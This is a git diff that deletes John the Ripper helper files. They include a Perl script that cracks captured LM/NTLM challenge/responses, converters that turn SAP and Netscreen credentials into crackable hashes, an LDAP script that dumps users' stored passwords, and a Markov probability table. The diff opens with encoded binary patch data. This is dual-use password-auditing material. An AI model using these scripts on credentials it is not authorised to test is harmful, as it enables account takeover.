z*|hOHZJF)FXKZ=CEx&5Zi){HtTfX1!KWxjItH0C-QYR&=-FMqvupS6UeW_$HAlhT`U{u6|i9{>`=kVM1psy|Tps(E@ zj)?Y-pq>;-JrMz@y)6<;21Tbo5{b2mWU|d4ZHF#^zM_3?BCH2Rdpr@2>g_PZq1mJ8 z^oP+o5ey1nFyPny&?0C{iKb{k+}e2CElYg!z13s2s1eAxDB%lH*{gCdVq*kRy>7lOvhy$dSzT$Prm1Ikv+xavUTpvhUoJ zKB<_DWo6G`<7^>}pMP2?6ncmC@#Z(tYWfk5*#(=;D-RA97M7xCp?ns8*{4v>h(oOA zkD*(koRNp9%O8?5M-bvvLQOHAitCTsiPzB}9QsxLlT$y~glsVE+ z4du9$IpR)2%cRU12rZ*rCuPn=sF`x5lsO}zR>~eJb7n#uP`(5*xGYtt z9>^X~|7&Df)7_zwp8+9|T+8nb#WyN$b0&ZvZoZ&kUehPt-L(N&6MFH9vh;wmqXj}? zcpI5f(mR|wF*Kff*TKQf7Jl0-JcfD)^l5wO6qQNOD;nDhhk!Z1^fzh>!YMrTY0t@B zSfFg5_Bh!S+7o2YXj{qlYQHAirR@YWTtQ<7&)Mu2tq*e5uyMcge7(lG65x&G>Cqxo z>sSS^Cs%uaZ%N8a7_*U7velZYpTiaz$PTF)p2Ua}nIOz3W$TU*29>%SjmOc!oP@?b zd|nt&NWZ}avl)fj`%AWMk#R%CxD6|A!;0Im;_f-X0rs!{bdYYalgt||=k;1^Y989& zqn90@*{XnIH~xeyMV1Ap@ZxKYa$7*b{yj6P|ue>u$qKa?r%11mWF zUd!s5yXq8{TA7KUjTx=zm@U=J12_ZF8V6VyOSm0Jn4U8nlDg50b5YKaJ(-(I-G*hQd#@sgt7i5CnSRbC zb6&da)4I_F&$I-moOOg)0;k1rE*-D59sm0*9T%y+j{)=r=Z`38+M;zsV@^ zpi9jhr-d#p!bo}x>L$J^9Bt9o9j({a?F(qlZn$d3^tHI&!}zB{Rf)0hq0C

hZ~b1AAES#Ft?!HdWv2T@0<$H(=@9`^={*K^{p7NvzpCNjCI1=>4*9OQZi-c&4r6K`OG^Ts_ z$pX}5`%}cz9!?~6M~H+wqRvN(C!UC{_Rn`zQmPV(pdX(<9nwkCD}SQ68OPNyjL#hTtu+Ijg=<`bg_yWVX zP3K;v0rpw10cQ&1bw=K?xWTdaVxt+nY=bl25%3ovqx!WA?~|NP=iqB9?!mqZ@`7#x z-3fXC6b1bV^a$ul&{LqlfnEkV{Yz=<)+I}B^i<%==o(M87oV@5iWRFKAeA{Zgws>CBYt>Z?-s|VNNSKg6$6ES(=;0=a+ z?FoNpPN>yBu5? zb;e3RJkRz3P>H%zh+_$W9GnT93EYU(SU<#(Vju^{`}AWlyo-U@g|V`vKn{-QXCD-0 zQe*u%emB@S&dW~Vb^_PJj&^Ylo-|}O6Q|&O35uA0@!m6JQr&NPhx3_L_ie0*>qN6k=GO1<^m_<11JzaC{ay#lh`I1MNA5 WxU0@ in 2007 -# and placed in the public domain. -# -# The purpose of this script is to aid with cracking a LM/NTLM -# challenge/response set, when part of the password is known. It -# was written with John's NetLM/NetNTLM formats and "halflmchall" -# Rainbow Tables in mind. -# -# Example Scenario: -# Let's assume you've captured LM/NTLM challenge/response set for -# the password Cricket88!. You may be able to crack the first part -# (i.e. CRICKET) using "Half LM" Rainbow Tables. This script will -# use that value as a seed and attempt to crack the second part -# (i.e. "88!") via an incremental brute. It'll then use the NetNTLM -# response hash to crack the case-sensitive version of the entire -# password. -# -##################################################################### - -use Getopt::Long; - -my $VERSION = "0.2"; -my %opt; -my %data; - -my $JOHN = "john"; - -GetOptions ( - 'seed=s' => \$opt{'seed'}, - 'file=s' => \$opt{'file'}, - 'help|h' => sub { ShowUsage(); }, -); - -sub showUsage { - print "john-netntlm.pl v$VERSION\n\n"; - print "JoMo-Kun \n\n"; - print "Usage: $0 [OPTIONS]\n"; - print " $0\n"; - print " --seed [RainbowCrack/HalfLM Response Password]\n"; - print " --file [File Containing LM/NTLM challenge/responses (.lc format)]\n"; - print " Ex: Domain\\User:::LM response:NTLM response:challenge"; - print "\n"; - print " Ex:\n"; - print " $0 --file capture.lc\n"; - print " $0 --seed \"GERGE!!\"--file capture.lc\n"; - print "\n"; - exit(1); -} - -# Main -{ - if ( !defined($opt{'file'}) ) { &showUsage; } - - # Parse accounts to audit - open(HAND, $opt{'file'}) || die("Failed to open response file: $opt{'file'} -- $!"); - @{ $data{'pairs'} } = ; - close(HAND); - - # Load information for any accounts previous cracked - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - - open (HAND, "$JOHN -format:netlm -show $opt{'file'} |") || die("Failed to execute john: $!"); - print STDERR "The following LM responses have been previously cracked:\n"; - while() { - next if ( /\d+ password hashes cracked, \d+ left/ ); - last if /^$/; - print "\t$_"; - push @{ $data{'cracked-lm'} }, $_; - } - close(HAND); - - print STDERR "\nThe following NTLM responses have been previously cracked:\n"; - open (HAND, "$JOHN -format:netntlm -show $opt{'file'} |") || die("Failed to execute john: $!"); - while() { - next if ( /\d+ password hashes cracked, \d+ left/ ); - last if /^$/; - print "\t$_"; - push @{ $data{'cracked-ntlm'} }, $_; - } - close(HAND); - - mkdir("/tmp/john.$$") || die; - my $tmpconf = &createConf(); - my $tmpsession = "/tmp/john.$$/john.session"; - my $tmpsessionlog = "/tmp/john.$$/john.session.log"; - my $tmplog = "/tmp/john.$$/john.log"; - #print STDERR "Created temporary configuration file: $tmpconf\n"; - - # Crack case-sensitive version of password - my $tmpdict = "/tmp/john.$$/john.dict"; - #print STDERR "Created temporary dictionary file: $tmpdict\n"; - - foreach $credential_set ( @{ $data{'cracked-lm'} } ) { - my ($account,$lmpass,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set); - next if ( grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ); - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Performing NTLM case-sensitive crack for account: $account.\n"; - - open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!"); - print HAND "$lmpass"; - close(HAND); - - open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -user:\"$account\" -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!"); - while() { print; } - close(HAND); - - unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!"); - } - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Isolating accounts which have only had their LM response cracked.\n"; - - foreach $credential_set ( @{ $data{'pairs'} } ) { - $credential_set =~ s/\\/\\\\/g; - my ($account,$foo,$bar,$netlm,$netntlm,$chall) = split(/:/, $credential_set); - if (lc($netlm) eq lc($netntlm)) { - print STDERR "LM response is not unique from NTLM response (skipping):\n\t$credential_set\n"; - push @{ $data{'pairs-ntlm'} }, $credential_set; - } - elsif ( @cracked = grep(/^$account:/i, @{ $data{'cracked-ntlm'} }) ) { - print STDERR "Account $account NTLM response previously cracked.\n"; - #print "@cracked"; - } - else { - print STDERR "Account $account LM response added to cracking list.\n"; - push @{ $data{'pairs-lm'} }, $credential_set; - } - } - - if ( defined($opt{'seed'}) ) { - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "Testing seed password to determine whether it is the actual password.\n"; - open(HAND, ">$tmpdict") || die("Failed to option file: $tmpdict -- $!"); - print HAND $opt{'seed'}; - close(HAND); - - open (HAND, "$JOHN -format:netntlm -config:$tmpconf -wordlist:$tmpdict -rules -session:$tmpsession $opt{'file'} |") || die("Failed to execute john: $!"); - while() { - print; - next if (/^guesses: .*time: / || (/^Loaded .* password hash /) || (/^No password hashes loaded/)); - my ($account) = $_ =~ / \((.*)\)$/; - - # Remove accounts which just cracked from list - my $i = 0; - foreach $credential_set ( @{ $data{'pairs-lm'} } ) { - $account =~ s/\\/_/g; - $credential_set =~ s/\\\\/_/g; - if ( $credential_set =~ /^$account:/ ) { - splice(@{ $data{'pairs-lm'} }, $i, 1); - } - $i++; - } - } - close(HAND); - unlink $tmpdict || warn("Failed to unlink $tmpdict -- $!"); - - my $tmppasswd = "/tmp/john.$$/john.passwd"; - open(HAND, ">$tmppasswd") || die("Failed to open $tmppasswd: $!"); - print HAND @{ $data{'pairs-lm'} }; - close(HAND); - - print STDERR "\n\n"; - print STDERR "###########################################################################################\n"; - print STDERR "The hashes contained within $tmppasswd have not been cracked.\n"; - print STDERR "Executing the following (this could take a while...):\n\n"; - print STDERR "john -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd\n"; - print STDERR "\n"; - print STDERR " *If the passwords successfully crack, use this script again to crack the case-sensitive password\n"; - print STDERR " without feeding a seed password\n"; - print STDERR"\n\n"; - - system("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd"); - #exec("$JOHN -format:netlm -config:$tmpconf -external:HalfLM -incremental:LM -session:$tmpsession $tmppasswd"); - - unlink $tmppasswd || warn("Failed to unlink $tmppasswd -- $!"); - } - else { - print STDERR "\nNo seed supplied for testing.\n"; - } - - #print STDERR "Removing temporary files and directory\n"; - unlink $tmpconf, $tmplog, $tmpsession, $tmpsessionlog || warn("Failed to unlink temporary config files -- $!"); - rmdir("/tmp/john.$$") || warn("Failed to delete temporary john directory -- $!"); -} - -exit(0); - -sub createConf { - my $tmpconf = "/tmp/john.$$/john.conf"; - open(CONF, ">$tmpconf") || die("Failed to open $tmpconf: $!"); - - # Define character keyspace - print CONF "[Incremental:LM]\n"; - print CONF "File = \$JOHN/lanman.chr\n"; - print CONF "MinLen = 1\n"; - - # John compiled for MaxLen <= 8 - if (14 - length($opt{'seed'}) > 8) { - print CONF "MaxLen = 8\n"; - } else { - print CONF "MaxLen = ", 14 - length($opt{'seed'}), "\n"; - } - print CONF "CharCount = 69\n\n"; - - # Add external filter to handle uncracked characters - if ($opt{'seed'} ne "") { - my $i; $j; - my @seed = split(//, $opt{'seed'}); - - print CONF "[List.External:HalfLM]\n"; - print CONF "void init()\n"; - print CONF "{\n"; - print CONF " word[14] = 0;\n"; - print CONF "}\n\n"; - - print CONF "void filter()\n"; - print CONF "{\n"; - - my $len = length($opt{'seed'}); - for ($i = 13, $j = 13 - $len; $i>=0; $i--) { - if ($i >= $len) { - print CONF " word[$i] = word[$j];\n"; - $j--; - } else { - print CONF " word[$i] = \'$seed[$i]\';\n"; - } - } - - print CONF "}\n\n"; - } - - # Add custom wordlist to utilize NTLM hash for character case cracking - print CONF "[List.Rules:Wordlist]\n"; - print CONF ":\n"; - print CONF "-c T0Q\n"; - print CONF "-c T1QT[z0]\n"; - print CONF "-c T2QT[z0]T[z1]\n"; - print CONF "-c T3QT[z0]T[z1]T[z2]\n"; - print CONF "-c T4QT[z0]T[z1]T[z2]T[z3]\n"; - print CONF "-c T5QT[z0]T[z1]T[z2]T[z3]T[z4]\n"; - print CONF "-c T6QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]\n"; - print CONF "-c T7QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]\n"; - print CONF "-c T8QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]\n"; - print CONF "-c T9QT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]\n"; - print CONF "-c TAQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]\n"; - print CONF "-c TBQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]\n"; - print CONF "-c TCQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]\n"; - print CONF "-c TDQT[z0]T[z1]T[z2]T[z3]T[z4]T[z5]T[z6]T[z7]T[z8]T[z9]T[zA]T[zB]T[zC]\n"; - - close(CONF); - - return $tmpconf; -} diff --git a/data/john/run.linux.x86.any/netscreen.py b/data/john/run.linux.x86.any/netscreen.py deleted file mode 100644 index 5cc52b85bd..0000000000 --- a/data/john/run.linux.x86.any/netscreen.py +++ /dev/null @@ -1,132 +0,0 @@ -################################################################## -# Filename: netscreen.py -# -# Please note this script will now run in Python version 3.x -# -# This script will generate a netscreen formatted password -# -# This program requires two command line arguments, and works in two modes: -# Mode 1: -# The first argument is a username -# The second argument is a plaintext password -# Mode 2: -# The first argument is -f to indicate reading usernames and passwords from a file -# The second argument is the filename to read -# -# The input file should have one of the following formats (a "," or ":" separator): -# , -# or -# : -# -# (Don't put a "space" after the separator, unless it is part of the password) -# -# Example input file: -# admin,netscreen -# cisco:cisco -# robert,harris -# -# Output will be the username and hashed password in John the Ripper format -# If reading usernames and passwords from a file, the output file name will be: netscreen-JtR-output.txt -# If the file netscreen-JtR-output.txt exists, it will be overwritten. -# -# Version 2.04 -# Updated on September 13, 2010 by Robert B. Harris from VA and Brad Tilley -# Updated to now run in Python v3.x (still works in Python 2.x) -# Additional separator for the input file. It can now have the new separator ":" (or use the old one ",") -# Now correctly handles a separator ("," or ":") in the password field when reading from a file. -# Updated help text in script -# -# Version 2.01 -# Updated on August 30, 2010 by Robert B. Harris from VA -# Very minor changes, removed tab, noted it won't run in python 3.x -# -# Version 2.0 -# Updated on August 12, 2010 by Robert B. Harris from VA -# Updated to use the hashlib library -# Updated to print help text if both input arguments are missing -# Updated to optionally read from a file -# -################################################################## - -import sys - -def net(user, password): - b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" - middle = "Administration Tools" - s = "%s:%s:%s" % (user, middle, password) - - # For versions of Python 2.5 and older - if sys.version_info[0] == 2 and sys.version_info[1] < 6: - import md5 - m = md5.new(s).digest() - else: - import hashlib - m = hashlib.md5(s.encode('latin_1')).digest() - - narray = [] - for i in range(8): - if sys.version_info[0] == 2: - n1 = ord(m[2*i]) - n2 = ord(m[2*i+1]) - narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) ) - - if sys.version_info[0] == 3: - n1 = ord(chr(m[2*i])) - n2 = ord(chr(m[2*i+1])) - narray.append( (n1<<8 & 0xff00) | (n2 & 0xff) ) - res = "" - for i in narray: - p1 = i >> 12 & 0xf - p2 = i >> 6 & 0x3f - p3 = i & 0x3f - res = res + b64[p1] + b64[p2] + b64[p3] - - for c, n in zip("nrcstn", [0, 6, 12, 17, 23, 29]): - res = res[:n] + c + res[n:] - return res - - -if __name__ == '__main__': - if len(sys.argv) == 3: - if (sys.argv[1])== "-f": # If true, reading from a file - in_file = (sys.argv[2]) # 2nd commandline arg is the filename to read from - input_file = open( in_file, 'r') - output_file = open ("netscreen-JtR-output.txt" , 'w') - import re - for line in input_file: - data=line.strip('\n') - if re.search(',',line): - data=data.split(',',1) # line contains , - else: - if re.search(':',line): - data=data.split(':',1) # line contains : - else: - print ("\n\n\n") - print ("Error in input file.") - print ("The input file must have either a \",\" or \":\" separator on each line.") - print ("Also it should not contain any blank lines. Please correct the input file.") - break - username = data[0] - password = data[1] - ciphertext = net(username,password) - output_file.write ("%s:%s$%s" % (username,username,ciphertext)) - output_file.write ("\n") - input_file.close() - print("\nThe output file has been created.") - output_file.close() - else: # We are not reading from a file - username = sys.argv[1] - password = sys.argv[2] - ciphertext = net(username,password) - print(("%s:%s$%s" % (username,username,ciphertext))) - else: # User did not input the required two commandline arguments - print("\n\n") - print("This program requires two commandline arguments:") - print("The first argument is a username, or -f to indicate reading from a file.") - print("The second argument is a plaintext password, or the name of the file to read from.") - print("See the additional text at the beginning of this script for more details.\n") - print("Output will be the username and the (Netscreen algorithm based) hashed password, in John the Ripper format. \n\n") - print("Example") - print("Input: netscreen.py admin netscreen") - print("Output: admin:admin$nKv3LvrdAVtOcE5EcsGIpYBtniNbUn") - print("(Netscreen uses the username as the salt)") diff --git a/data/john/run.linux.x86.any/pdf2john b/data/john/run.linux.x86.any/pdf2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/pdf2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/rar2john b/data/john/run.linux.x86.any/rar2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/rar2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/sap_prepare.pl b/data/john/run.linux.x86.any/sap_prepare.pl deleted file mode 100644 index a3531a7ee0..0000000000 --- a/data/john/run.linux.x86.any/sap_prepare.pl +++ /dev/null @@ -1,89 +0,0 @@ -#!/usr/bin/perl -w -# Usage: sap_prepare.pl csv-input sap-codeB-output sap-codevnG-output -# csv-input: XLS-exported table USH02 or USR02 -# tab-speparted e.g. column 4:username column 17:bcode column 24:codvn G -# sap-codeB-output: username:username$bcode -# sap-codevnG-output: username:Username$codvnG -# -# (all other formats with the right column names should work) -# sap uses the username as salt. those have different length, so we needed to come up w/ our -# own format. that is: username$HASHCODE -# -# evil spaghetti code, but works. sorry for the eye cancer ;-) - -$SALT_LENGTH = 40; - -if ($#ARGV != 2) { - die ("usage = $0 csv-input sap-codeB-output sap-codevnG-output \n"); -} - -open INPUT_FILE, "$ARGV[0]" or die ("Can't open input-file ($ARGV[0])\n"); -open CODEB_FILE,">>$ARGV[1]" or die ("Can't open codeb-file ($ARGV[1])\n"); -open CODEG_FILE,">>$ARGV[2]" or die ("Can't open codeg-file ($ARGV[2])\n"); - -print "data from >>$ARGV[0]<<\nto sap-codeB-output: >>$ARGV[1]<<\n"; -print "and sap-codevnG-output: >>$ARGV[2]<<\n\n"; - -$line = ""; -$pos_bname=-1; -$pos_codeb=-1; -$pos_codeg=-1; -$count=0; - -until ($line =~ /BNAME/) { - $line=; - $count++; -} - -chomp($line); -@tmp = split(/\t/, $line); - -for ($i=0;$i<=$#tmp;$i++) { - if ($tmp[$i]=~ /BNAME/) { $pos_bname=$i } - elsif ($tmp[$i]=~ /BCODE/) { $pos_codeb=$i } - elsif ($tmp[$i]=~ /PASSCODE/) { $pos_codeg=$i } -} -print "Column: $#tmp BNAME: $pos_bname BCODE: $pos_codeb PASSCODE: $pos_codeg\n"; - -if (-1==$pos_bname || (-1==$pos_codeg && -1==$pos_codeb ) ) { - print "BNAME column not found OR both hash-columns are missing \n"; - exit 0; -} - -while ($line=) { - $count++; - chomp($line); - @tmp = split(/\t/, $line); - if ($#tmp<$pos_bname || ($#tmp<$pos_codeb && $#tmp<$pos_codeg)) { - print "******** line $count in csv file has the wrong format ********\n"; - next; - } - if ($pos_codeg!=-1 && $tmp[$pos_codeg]=~/[a-zA-Z0-9]/) { # both hashes - print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] codeG: $tmp[$pos_codeg] \n"; - $strN = $tmp[$pos_bname]; - $strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname])); - $strB = "$tmp[$pos_codeb]"; - $strG = "$tmp[$pos_codeg]"; - print CODEB_FILE "$strN:$strSALT\$$strB\n"; - print CODEG_FILE "$strN:$strSALT\$$strG\n"; - } - elsif ($pos_codeb!=-1 && $tmp[$pos_codeb]=~/[a-zA-Z0-9]/ ) { # only bcode - print "username: $tmp[$pos_bname] codeB: $tmp[$pos_codeb] \n"; - $strN = $tmp[$pos_bname]; - $strSALT = "$strN"." "x($SALT_LENGTH-length($tmp[$pos_bname])); - $strB = "$tmp[$pos_codeb]"; - print CODEB_FILE "$strN:$strSALT\$$strB\n"; - } - else { - print "******** line $count in csv file has the wrong format ********\n"; - } -} - -close INPUT_FILE; -close CODEB_FILE; -close CODEG_FILE; - -print "\nDone!\n"; -exit 0; - - diff --git a/data/john/run.linux.x86.any/sha-dump.pl b/data/john/run.linux.x86.any/sha-dump.pl deleted file mode 100644 index 8186463936..0000000000 --- a/data/john/run.linux.x86.any/sha-dump.pl +++ /dev/null @@ -1,23 +0,0 @@ -#!/usr/bin/perl - -use Net::LDAP; - -$server = $ARGV[0]; -$password = $ARGV[1]; - -$ldap = Net::LDAP->new($server) || die "$@"; -$ldap->bind("cn=Directory Manager", password => $password) || die "$@"; -$search = $ldap->search(base => "o=test", - scope => "subtree", - filter => "(uid=*)"); - -$search->code && die $search->error; - -$i=0; -foreach $user ($search->all_entries) { - @uid=$user->get("uid"); - @pass=$user->get("userpassword"); - print $uid[0].":".$pass[0].":". - $i.":".$i.":/".$uid[0].":\n"; -} -$ldap->unbind(); diff --git a/data/john/run.linux.x86.any/sha-test.pl b/data/john/run.linux.x86.any/sha-test.pl deleted file mode 100644 index be51f1d6de..0000000000 --- a/data/john/run.linux.x86.any/sha-test.pl +++ /dev/null @@ -1,19 +0,0 @@ -#!/usr/bin/perl -# http://www.perl.com/CPAN-local/modules/by-module/MIME/MIME-Base64-2.06.tar.gz -# http://www.perl.com/CPAN-local/modules/by-module/SHA/SHA-1.2.tar.gz - -use MIME::Base64; -use SHA; -if ("SHA-1" ne &SHA::sha_version) { die "wrong SHA version\n"; } -$sha = new SHA; - -$label = "{SHA}"; -$count = 1; -while(<>) { - chomp; - $hash = $sha->hash ($_); - printf ("%s:%s%s:%d:%d:%s:/home/%s/:\n", - $_, $label, encode_base64 ($hash . $salt, ""), $count, $count, - $_, $_); - $count++; -} diff --git a/data/john/run.linux.x86.any/ssh2john b/data/john/run.linux.x86.any/ssh2john deleted file mode 120000 index 28c1d1e538..0000000000 --- a/data/john/run.linux.x86.any/ssh2john +++ /dev/null @@ -1 +0,0 @@ -john \ No newline at end of file diff --git a/data/john/run.linux.x86.any/stats b/data/john/run.linux.x86.any/stats deleted file mode 100644 index 170627ec85..0000000000 --- a/data/john/run.linux.x86.any/stats +++ /dev/null @@ -1,4986 +0,0 @@ -97=proba1[32] -51=proba2[32*256+35] -44=proba2[32*256+38] -51=proba2[32*256+39] -40=proba2[32*256+48] -35=proba2[32*256+49] -37=proba2[32*256+50] -51=proba2[32*256+51] -44=proba2[32*256+52] -44=proba2[32*256+53] -33=proba2[32*256+54] -44=proba2[32*256+55] -44=proba2[32*256+56] -44=proba2[32*256+57] -44=proba2[32*256+66] -44=proba2[32*256+67] -51=proba2[32*256+68] -44=proba2[32*256+69] -40=proba2[32*256+71] -51=proba2[32*256+73] -44=proba2[32*256+77] -44=proba2[32*256+78] -40=proba2[32*256+80] -51=proba2[32*256+82] -44=proba2[32*256+84] -51=proba2[32*256+86] -51=proba2[32*256+87] -33=proba2[32*256+97] -33=proba2[32*256+98] -25=proba2[32*256+99] -32=proba2[32*256+100] -37=proba2[32*256+101] -44=proba2[32*256+102] -37=proba2[32*256+103] -37=proba2[32*256+104] -40=proba2[32*256+105] -40=proba2[32*256+106] -51=proba2[32*256+107] -32=proba2[32*256+108] -24=proba2[32*256+109] -37=proba2[32*256+110] -37=proba2[32*256+111] -27=proba2[32*256+112] -51=proba2[32*256+113] -35=proba2[32*256+114] -32=proba2[32*256+115] -33=proba2[32*256+116] -40=proba2[32*256+117] -51=proba2[32*256+118] -44=proba2[32*256+121] -51=proba2[32*256+122] -80=proba1[33] -15=proba2[33*256+33] -51=proba2[33*256+34] -51=proba2[33*256+35] -51=proba2[33*256+40] -51=proba2[33*256+41] -51=proba2[33*256+42] -51=proba2[33*256+43] -51=proba2[33*256+48] -31=proba2[33*256+49] -37=proba2[33*256+50] -37=proba2[33*256+51] -51=proba2[33*256+52] -51=proba2[33*256+54] -35=proba2[33*256+55] -51=proba2[33*256+56] -44=proba2[33*256+57] -51=proba2[33*256+59] -51=proba2[33*256+61] -37=proba2[33*256+63] -51=proba2[33*256+64] -40=proba2[33*256+70] -51=proba2[33*256+71] -51=proba2[33*256+76] -37=proba2[33*256+78] -51=proba2[33*256+80] -51=proba2[33*256+83] -51=proba2[33*256+84] -51=proba2[33*256+87] -51=proba2[33*256+95] -40=proba2[33*256+97] -37=proba2[33*256+98] -37=proba2[33*256+99] -44=proba2[33*256+100] -37=proba2[33*256+101] -40=proba2[33*256+102] -40=proba2[33*256+103] -44=proba2[33*256+105] -44=proba2[33*256+106] -51=proba2[33*256+107] -33=proba2[33*256+108] -37=proba2[33*256+109] -35=proba2[33*256+110] -35=proba2[33*256+111] -37=proba2[33*256+112] -51=proba2[33*256+113] -31=proba2[33*256+114] -31=proba2[33*256+115] -31=proba2[33*256+116] -51=proba2[33*256+119] -51=proba2[33*256+120] -51=proba2[33*256+121] -44=proba2[33*256+122] -118=proba1[34] -17=proba2[34*256+38] -23=proba2[34*256+39] -23=proba2[34*256+40] -23=proba2[34*256+48] -23=proba2[34*256+54] -23=proba2[34*256+97] -23=proba2[34*256+99] -23=proba2[34*256+100] -23=proba2[34*256+101] -23=proba2[34*256+119] -86=proba1[35] -42=proba2[35*256+33] -26=proba2[35*256+35] -42=proba2[35*256+36] -35=proba2[35*256+38] -42=proba2[35*256+48] -24=proba2[35*256+49] -35=proba2[35*256+50] -26=proba2[35*256+51] -42=proba2[35*256+52] -42=proba2[35*256+53] -35=proba2[35*256+54] -35=proba2[35*256+55] -24=proba2[35*256+57] -42=proba2[35*256+63] -35=proba2[35*256+65] -42=proba2[35*256+83] -42=proba2[35*256+87] -28=proba2[35*256+97] -35=proba2[35*256+98] -42=proba2[35*256+99] -42=proba2[35*256+100] -42=proba2[35*256+102] -35=proba2[35*256+105] -35=proba2[35*256+106] -31=proba2[35*256+109] -31=proba2[35*256+110] -42=proba2[35*256+111] -42=proba2[35*256+112] -31=proba2[35*256+114] -42=proba2[35*256+115] -42=proba2[35*256+116] -42=proba2[35*256+118] -42=proba2[35*256+119] -42=proba2[35*256+121] -42=proba2[35*256+123] -82=proba1[36] -45=proba2[36*256+33] -45=proba2[36*256+35] -26=proba2[36*256+36] -45=proba2[36*256+37] -45=proba2[36*256+41] -34=proba2[36*256+42] -45=proba2[36*256+43] -39=proba2[36*256+48] -39=proba2[36*256+49] -34=proba2[36*256+50] -39=proba2[36*256+54] -45=proba2[36*256+55] -34=proba2[36*256+56] -34=proba2[36*256+57] -45=proba2[36*256+61] -45=proba2[36*256+65] -45=proba2[36*256+66] -45=proba2[36*256+67] -45=proba2[36*256+69] -45=proba2[36*256+84] -45=proba2[36*256+90] -45=proba2[36*256+94] -34=proba2[36*256+97] -39=proba2[36*256+98] -45=proba2[36*256+99] -32=proba2[36*256+100] -34=proba2[36*256+101] -32=proba2[36*256+102] -39=proba2[36*256+103] -39=proba2[36*256+104] -39=proba2[36*256+106] -39=proba2[36*256+107] -32=proba2[36*256+108] -29=proba2[36*256+109] -39=proba2[36*256+110] -45=proba2[36*256+111] -29=proba2[36*256+112] -45=proba2[36*256+114] -32=proba2[36*256+115] -29=proba2[36*256+116] -45=proba2[36*256+117] -39=proba2[36*256+118] -45=proba2[36*256+119] -45=proba2[36*256+120] -45=proba2[36*256+121] -39=proba2[36*256+122] -97=proba1[37] -32=proba2[37*256+35] -25=proba2[37*256+36] -32=proba2[37*256+38] -32=proba2[37*256+42] -32=proba2[37*256+43] -32=proba2[37*256+44] -32=proba2[37*256+49] -32=proba2[37*256+52] -32=proba2[37*256+71] -32=proba2[37*256+78] -18=proba2[37*256+97] -32=proba2[37*256+98] -32=proba2[37*256+99] -32=proba2[37*256+100] -32=proba2[37*256+109] -32=proba2[37*256+112] -18=proba2[37*256+115] -32=proba2[37*256+117] -86=proba1[38] -47=proba2[38*256+32] -47=proba2[38*256+34] -33=proba2[38*256+38] -40=proba2[38*256+39] -47=proba2[38*256+40] -40=proba2[38*256+43] -47=proba2[38*256+44] -40=proba2[38*256+45] -36=proba2[38*256+49] -47=proba2[38*256+50] -47=proba2[38*256+51] -47=proba2[38*256+52] -47=proba2[38*256+54] -40=proba2[38*256+55] -40=proba2[38*256+57] -47=proba2[38*256+66] -47=proba2[38*256+67] -47=proba2[38*256+69] -40=proba2[38*256+70] -47=proba2[38*256+71] -36=proba2[38*256+74] -47=proba2[38*256+77] -40=proba2[38*256+83] -40=proba2[38*256+87] -47=proba2[38*256+89] -29=proba2[38*256+97] -36=proba2[38*256+98] -22=proba2[38*256+99] -36=proba2[38*256+100] -31=proba2[38*256+101] -40=proba2[38*256+102] -36=proba2[38*256+103] -47=proba2[38*256+105] -40=proba2[38*256+106] -40=proba2[38*256+107] -29=proba2[38*256+108] -29=proba2[38*256+109] -36=proba2[38*256+110] -33=proba2[38*256+111] -36=proba2[38*256+112] -31=proba2[38*256+114] -36=proba2[38*256+115] -47=proba2[38*256+116] -47=proba2[38*256+117] -40=proba2[38*256+118] -40=proba2[38*256+119] -47=proba2[38*256+121] -47=proba2[38*256+122] -47=proba2[38*256+123] -118=proba1[39] -30=proba2[39*256+38] -30=proba2[39*256+39] -37=proba2[39*256+40] -37=proba2[39*256+44] -37=proba2[39*256+51] -37=proba2[39*256+52] -37=proba2[39*256+57] -30=proba2[39*256+83] -37=proba2[39*256+95] -18=proba2[39*256+97] -30=proba2[39*256+98] -26=proba2[39*256+99] -23=proba2[39*256+101] -37=proba2[39*256+103] -30=proba2[39*256+111] -26=proba2[39*256+114] -17=proba2[39*256+115] -37=proba2[39*256+119] -37=proba2[39*256+122] -91=proba1[40] -36=proba2[40*256+36] -36=proba2[40*256+37] -36=proba2[40*256+40] -25=proba2[40*256+41] -29=proba2[40*256+42] -22=proba2[40*256+45] -36=proba2[40*256+49] -36=proba2[40*256+54] -36=proba2[40*256+69] -36=proba2[40*256+94] -29=proba2[40*256+95] -29=proba2[40*256+97] -36=proba2[40*256+99] -36=proba2[40*256+100] -29=proba2[40*256+103] -29=proba2[40*256+105] -29=proba2[40*256+110] -36=proba2[40*256+112] -36=proba2[40*256+114] -29=proba2[40*256+115] -29=proba2[40*256+116] -36=proba2[40*256+118] -36=proba2[40*256+121] -36=proba2[40*256+124] -118=proba1[41] -13=proba2[41*256+40] 